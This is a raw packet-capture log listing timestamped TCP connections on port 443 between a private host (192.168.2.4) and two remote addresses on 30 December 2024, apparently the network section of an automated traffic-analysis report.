Dec 30, 2024 11:36:10.169864893 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.169864893 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.169908047 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.170442104 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.170609951 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.170660973 CET	443	49821	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.170741081 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.171358109 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.171370029 CET	443	49821	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.219978094 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.220042944 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.220057011 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.220073938 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.220093012 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.220180988 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.220225096 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.220225096 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.226864100 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.226886988 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.228104115 CET	49822	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.228152990 CET	443	49822	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.228226900 CET	49822	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.232197046 CET	49822	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.232208014 CET	443	49822	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.324325085 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.324419022 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.324506998 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.324559927 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.324620962 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.325036049 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.325087070 CET	443	49824	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.325158119 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.325376034 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.325390100 CET	443	49824	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.408514023 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.408607006 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.409205914 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.409215927 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.409337997 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.409343958 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.801590919 CET	443	49821	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.801695108 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.802365065 CET	443	49821	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.802417994 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.804230928 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.804244041 CET	443	49821	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.804549932 CET	443	49821	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.804621935 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.805445910 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.808082104 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.808144093 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.808186054 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.808186054 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.808198929 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.808275938 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.808283091 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.808301926 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.808339119 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.808340073 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.809467077 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.809479952 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.810511112 CET	49825	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.810559034 CET	443	49825	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.811781883 CET	49825	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.811903000 CET	49825	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.811918020 CET	443	49825	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.841854095 CET	443	49822	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.841928959 CET	49822	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.842425108 CET	49822	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.842437029 CET	443	49822	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.844949007 CET	49822	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:10.844955921 CET	443	49822	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:10.851330996 CET	443	49821	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.934175968 CET	443	49824	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.934282064 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.934940100 CET	443	49824	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.934983969 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.936835051 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.936846972 CET	443	49824	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.937196970 CET	443	49824	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.937263012 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.937645912 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.979336023 CET	443	49824	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.161591053 CET	49821	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.161808968 CET	49822	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:11.161823988 CET	49824	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.163578033 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.163582087 CET	49825	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:11.163611889 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.163781881 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.164906979 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.164916992 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.165437937 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.165476084 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.165555000 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.166207075 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.166218996 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.772969007 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.773917913 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.774898052 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.774909019 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.777676105 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.777689934 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.787920952 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.788424969 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.789028883 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.789036036 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:11.789073944 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:11.789077997 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.139509916 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.139770031 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.139799118 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.139965057 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.139965057 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.140069962 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.140459061 CET	443	49827	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.140482903 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.140517950 CET	49827	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.140603065 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.140652895 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.140734911 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.140866041 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.140908003 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.141031027 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.141056061 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.141076088 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.141431093 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.141444921 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.168878078 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.170546055 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.170659065 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.259803057 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.259803057 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.259848118 CET	443	49826	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.260030985 CET	49826	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.260768890 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.260796070 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.260826111 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.260890007 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.260962009 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.261008024 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.261308908 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.261328936 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.264411926 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.264486074 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.751357079 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.751451015 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.751918077 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.751991034 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.752140999 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.752235889 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.755945921 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.755959988 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.756388903 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.756438971 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.756813049 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.756828070 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.756891966 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.757200003 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.757255077 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.757709026 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.799371958 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.803325891 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.873200893 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.873270988 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.873981953 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.874057055 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.876106977 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.876116991 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.876374960 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.876436949 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.877006054 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:12.881846905 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.881918907 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.883419037 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.883426905 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.883686066 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:12.883748055 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.884287119 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:12.919337034 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:12.927366972 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.126903057 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.126996040 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.127088070 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.127298117 CET	443	49829	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.127358913 CET	49829	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.127628088 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.127679110 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.127734900 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.127898932 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.127908945 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.170625925 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.170681953 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.170691013 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.170711994 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.170722961 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.170758009 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.170763016 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.170800924 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.170808077 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.170820951 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.170865059 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.171892881 CET	49830	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.171915054 CET	443	49830	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.172674894 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.172734022 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.172802925 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.172986984 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.172997952 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.257427931 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.257493973 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.257531881 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.257574081 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.258097887 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.258141994 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.258142948 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.258203030 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.258683920 CET	49833	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.258711100 CET	443	49833	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.259291887 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.259345055 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.259411097 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.259706020 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.259716988 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.322161913 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.322211027 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.322233915 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.322244883 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.322272062 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.322297096 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.322300911 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.322330952 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.322352886 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.322381973 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.339993954 CET	49832	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.340023041 CET	443	49832	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.340637922 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.340701103 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.340797901 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.341201067 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.341219902 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.727802038 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.728081942 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.728373051 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.728384972 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.730190039 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.730197906 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.782735109 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.783030033 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.783519030 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.783530951 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.783715963 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.783723116 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.867885113 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.868065119 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.868508101 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.868520021 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.868690014 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:13.868695974 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:13.944343090 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.944534063 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.945024014 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.945043087 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:13.945173979 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:13.945184946 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.201081991 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.201141119 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.201164007 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.201193094 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.201215029 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.201266050 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.201287031 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.202881098 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.202881098 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.233571053 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.233737946 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.233768940 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.233828068 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.233896971 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.233932018 CET	443	49837	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.234024048 CET	49837	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.234381914 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.234432936 CET	443	49842	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.234666109 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.234797001 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.234812021 CET	443	49842	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.236059904 CET	49843	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.236097097 CET	443	49843	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.236171961 CET	49843	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.236479998 CET	49843	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.236496925 CET	443	49843	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.356369972 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.356415987 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.356498957 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.356498957 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.356508970 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.357191086 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.357191086 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.558876038 CET	49836	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.558923006 CET	443	49836	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.566968918 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.567044973 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.567084074 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.567131042 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.567131042 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.568439960 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.576530933 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.576561928 CET	443	49835	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.576575041 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.576602936 CET	49835	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.577204943 CET	49844	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.577253103 CET	443	49844	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.577363014 CET	49844	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.577564955 CET	49845	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.577610970 CET	443	49845	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.577677011 CET	49845	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.577927113 CET	49845	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.577944040 CET	443	49845	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.603856087 CET	49844	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.603880882 CET	443	49844	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.674060106 CET	49840	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.674103022 CET	443	49840	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.846199036 CET	443	49843	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.846344948 CET	49843	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.854873896 CET	49843	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.854887009 CET	443	49843	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.857109070 CET	49843	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:14.857132912 CET	443	49843	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:14.862500906 CET	443	49842	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.862591028 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.863285065 CET	443	49842	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.863353014 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.866771936 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.866785049 CET	443	49842	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.867047071 CET	443	49842	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:14.867150068 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.867827892 CET	49842	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:14.911339045 CET	443	49842	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.177002907 CET	443	49845	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:15.177115917 CET	49845	443	192.168.2.4	142.250.186.142
